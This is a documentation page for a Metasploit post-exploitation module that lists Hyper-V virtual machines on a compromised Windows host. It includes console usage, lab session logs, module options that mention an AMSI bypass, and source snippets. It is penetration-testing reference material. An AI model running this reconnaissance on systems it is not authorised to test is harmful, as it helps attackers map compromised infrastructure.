Windows Hyper-V VM Enumeration - Metasploit


This page contains detailed information about how to use the post/windows/gather/enum_hyperv_vms metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Hyper-V VM Enumeration
Module: post/windows/gather/enum_hyperv_vms
Source code: modules/post/windows/gather/enum_hyperv_vms.rb
Disclosure date: -
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will check if the target machine is a Hyper-V host and, if it is, will return a list of all of the VMs running on the host, as well as stats such as their state, version, CPU Usage, uptime, and status.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/enum_hyperv_vms

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/enum_hyperv_vms
msf post(enum_hyperv_vms) > show options
    ... show and set options ...
msf post(enum_hyperv_vms) > set SESSION session-id
msf post(enum_hyperv_vms) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/enum_hyperv_vms")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This post-exploitation module will check if a host is running Hyper-V. If the host is running Hyper-V, the module will gather information about all Hyper-V VMs installed on the host, including the name of the VM, its status, CPU usage, version of the Hyper-V engine that it relies on, and its state (running, suspended, offline, etc).

Verification Steps


  1. Start msfconsole
  2. Get meterpreter session
  3. Do: use post/windows/gather/enum_hyperv_vms
  4. Do: set SESSION <session id>
  5. Do: run
  6. If the host has Hyper-V installed, a list of Hyper-V VMs which are on target host will be returned, along with their attributes.

Options


This module just uses the standard options available to any post module.

Extracted data


  • Name of each VM
  • State of each VM
  • CPU Usage of each VM
  • How long each VM has been running for, down to the milliseconds.
  • Amount of memory assigned to each VM
  • Status of each VM
  • The version of the Hyper-V engine that each VM is using.

Scenarios


Meterpreter session as a normal user on Windows Server 2019 Standard Edition - fails as user lacks required permissions

msf6 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 172.20.150.24:4444
[*] Sending stage (200262 bytes) to 172.20.150.24
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.20.150.24:4444) at 2020-09-10 18:33:16 -0500

meterpreter > getuid
Server username: RAPID7\normal
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeMachineAccountPrivilege

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/windows/gather/enum_hyperv_vms 
msf6 post(windows/gather/enum_hyperv_vms) > show options

Module options (post/windows/gather/enum_hyperv_vms):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf6 post(windows/gather/enum_hyperv_vms) > set session 1
session => 1
msf6 post(windows/gather/enum_hyperv_vms) > run

[+] Compressed size: 800
[-] You need to be running as an elevated admin or a user of the Hyper-V Administrators group to run this module
[*] Post module execution completed
msf6 post(windows/gather/enum_hyperv_vms) > 

Meterpreter session as an elevated admin user

msf6 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 172.20.150.24:4444
[*] Sending stage (200262 bytes) to 172.20.150.24
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.20.150.24:4444) at 2020-09-10 18:43:15 -0500

meterpreter > getuid
Server username: RAPID7\Administrator
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeEnableDelegationPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeMachineAccountPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(multi/handler) > use post/windows/gather/enum_hyperv_vms 
msf6 post(windows/gather/enum_hyperv_vms) > set SESSION 2 
SESSION => 2
msf6 post(windows/gather/enum_hyperv_vms) > run

[+] Compressed size: 800
[*] Name           State   CPUUsage(%) MemoryAssigned(M) Uptime           Status             Version
----           -----   ----------- ----------------- ------           ------             -------
Test Machine   Off     0           0                 00:00:00         Operating normally 9.0    
Windows XP SP3 Running 79          2048              02:54:58.3210000 Operating normally 9.0    

[+] Stored loot at /home/gwillcox/.msf4/loot/20200910184541_default_172.20.150.24_host.hyperv_vms_309544.txt
[*] Post module execution completed
msf6 post(windows/gather/enum_hyperv_vms) > 

Go back to menu.

Msfconsole Usage


Here is how the windows/gather/enum_hyperv_vms post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/enum_hyperv_vms

msf6 post(windows/gather/enum_hyperv_vms) > show info

       Name: Windows Hyper-V VM Enumeration
     Module: post/windows/gather/enum_hyperv_vms
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  gwillcox-r7

Module stability:
 crash-safe

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module will check if the target machine is a Hyper-V host and, 
  if it is, will return a list of all of the VMs running on the host, 
  as well as stats such as their state, version, CPU Usage, uptime, 
  and status.

Module Options


This is a complete list of options available in the windows/gather/enum_hyperv_vms post exploitation module:

msf6 post(windows/gather/enum_hyperv_vms) > show options

Module options (post/windows/gather/enum_hyperv_vms):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/enum_hyperv_vms post exploitation module:

msf6 post(windows/gather/enum_hyperv_vms) > show advanced

Module advanced options (post/windows/gather/enum_hyperv_vms):

   Name                                    Current Setting  Required  Description
   ----                                    ---------------  --------  -----------
   Powershell::Post::dry_run               false            yes       Return encoded output to caller
   Powershell::Post::force_wow64           false            yes       Force WOW64 execution
   Powershell::Post::log_output            false            yes       Write output to log file
   Powershell::Post::timeout               15               yes       Powershell execution timeout, set < 0 to run async without termination
   Powershell::encode_final_payload        false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false            yes       Encrypt PSH with RC4
   Powershell::method                      reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true             yes       Execute powershell without interaction
   Powershell::persist                     false            yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  true             yes       Prepend AMSI/SBL bypass
   Powershell::prepend_sleep                                no        Prepend seconds of sleep
   Powershell::remove_comspec              false            yes       Produce script calling powershell directly
   Powershell::strip_comments              true             yes       Strip comments
   Powershell::strip_whitespace            false            yes       Strip whitespace
   Powershell::sub_funcs                   false            yes       Substitute function names
   Powershell::sub_vars                    true             yes       Substitute variable names
   Powershell::wrap_double_quotes          true             yes       Wraps the -Command argument in single quotes
   VERBOSE                                 false            no        Enable detailed status messages
   WORKSPACE                                                no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/gather/enum_hyperv_vms module can do:

msf6 post(windows/gather/enum_hyperv_vms) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/enum_hyperv_vms post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/enum_hyperv_vms) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The target does not have PowerShell installed so we can't access the state of the Hyper-V VMs


Here is a relevant code snippet related to the "The target does not have PowerShell installed so we can't access the state of the Hyper-V VMs" error message:

30:	      )
31:	  end
32:	
33:	  def run
34:	    unless have_powershell?
35:	      fail_with(Failure::NoAccess, "The target does not have PowerShell installed so we can't access the state of the Hyper-V VMs")
36:	    end
37:	    error_token = Rex::Text.rand_text_alpha(8)
38:	    get_vm = "try { Get-VM } catch {echo #{error_token}; echo $Error[0]}"
39:	    results = psh_exec(get_vm)
40:	    if results.starts_with?(error_token)

try { Get-VM } catch {echo <ERROR_TOKEN>; echo $Error.0}


Here is a relevant code snippet related to the "try { Get-VM } catch {echo <ERROR_TOKEN>; echo $Error.0}" error message:

33:	  def run
34:	    unless have_powershell?
35:	      fail_with(Failure::NoAccess, "The target does not have PowerShell installed so we can't access the state of the Hyper-V VMs")
36:	    end
37:	    error_token = Rex::Text.rand_text_alpha(8)
38:	    get_vm = "try { Get-VM } catch {echo #{error_token}; echo $Error[0]}"
39:	    results = psh_exec(get_vm)
40:	    if results.starts_with?(error_token)
41:	      results = results.delete_prefix(error_token).strip
42:	      print_error('Error running `Get-VM` command:')
43:	      print_line(results)

Error running `Get-VM` command


Here is a relevant code snippet related to the "Error running `Get-VM` command" error message:

37:	    error_token = Rex::Text.rand_text_alpha(8)
38:	    get_vm = "try { Get-VM } catch {echo #{error_token}; echo $Error[0]}"
39:	    results = psh_exec(get_vm)
40:	    if results.starts_with?(error_token)
41:	      results = results.delete_prefix(error_token).strip
42:	      print_error('Error running `Get-VM` command:')
43:	      print_line(results)
44:	      return
45:	    end
46:	    vprint_status(results)
47:	    filtered_result = results.match(/^Name(?:.+\r\n){1,2000}/) # If your running more than 2000 VMs on a single host, you have my sincerest sympathy.

Sorry, no results were found! Perhaps the target has Hyper-V installed but doesn't have any VMs set up?


Here is a relevant code snippet related to the "Sorry, no results were found! Perhaps the target has Hyper-V installed but doesn't have any VMs set up?" error message:

44:	      return
45:	    end
46:	    vprint_status(results)
47:	    filtered_result = results.match(/^Name(?:.+\r\n){1,2000}/) # If your running more than 2000 VMs on a single host, you have my sincerest sympathy.
48:	    if filtered_result.nil?
49:	      print_error("Sorry, no results were found! Perhaps the target has Hyper-V installed but doesn't have any VMs set up?")
50:	      return
51:	    end
52:	    print_status(filtered_result.to_s)
53:	    loot_location = store_loot('host.hyperv_vms', 'text/plain', session, filtered_result.to_s, "#{session.session_host}.hyperv_vm_information.txt", "#{session.session_host} Hyper-V VM Information")
54:	    print_good("Stored loot at #{loot_location}")

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • gwillcox-r7

Version


This page has been produced using Metasploit Framework version 6.1.41-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.